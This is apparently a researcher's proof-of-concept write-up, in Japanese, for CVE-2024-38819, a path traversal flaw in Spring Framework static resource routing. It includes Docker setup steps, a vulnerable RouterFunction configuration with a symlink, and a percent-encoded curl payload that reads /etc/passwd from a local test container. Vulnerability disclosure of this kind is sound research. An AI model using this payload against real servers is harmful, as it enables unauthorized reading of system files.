
これは、私が報告したCVE-2024-38819脆弱性の概念実証であり、パストラバーサル攻撃を実証するものです。
Dockerイメージをビルドします(Spring Boot 3.3.4、Spring Framework 6.1.13ベース)
cd vuln
docker build -t cve-2024-38819-poc .
コンテナを実行し、ポート8080をホストマシンに公開します
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
次のコマンドを実行してPoCを実行し、脆弱性を確認します
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
攻撃が成功すると、/etc/passwd ファイルの内容が表示されます。
PathTraversalDemoApplication.java を作成し、以下のコードで RouterFunction と FileSystemResource を使用して静的ファイルルーティングを設定します:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
シンボリックリンクを作成するために、Dockerfile に次のコマンドを追加します:
RUN ln -s /static /app/static/link
パーセントエンコーディングを利用して、シンボリックリンクを通じてディレクトリを横断するペイロードを作成します。
/static/link/%2e%2e/etc/passwd次の curl コマンドを使用してPoCを実行し、攻撃が成功するかどうかを確認します:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
攻撃が成功すると、/etc/passwd ファイルの内容が表示されます。
本PoCは、教育およびセキュリティ研究を目的として提供されています。実際のシステムで使用する前に、脆弱性が修正されていることと、適切な許可を得ていることを確認してください。著者は、このコードの誤用について一切の責任を負いません。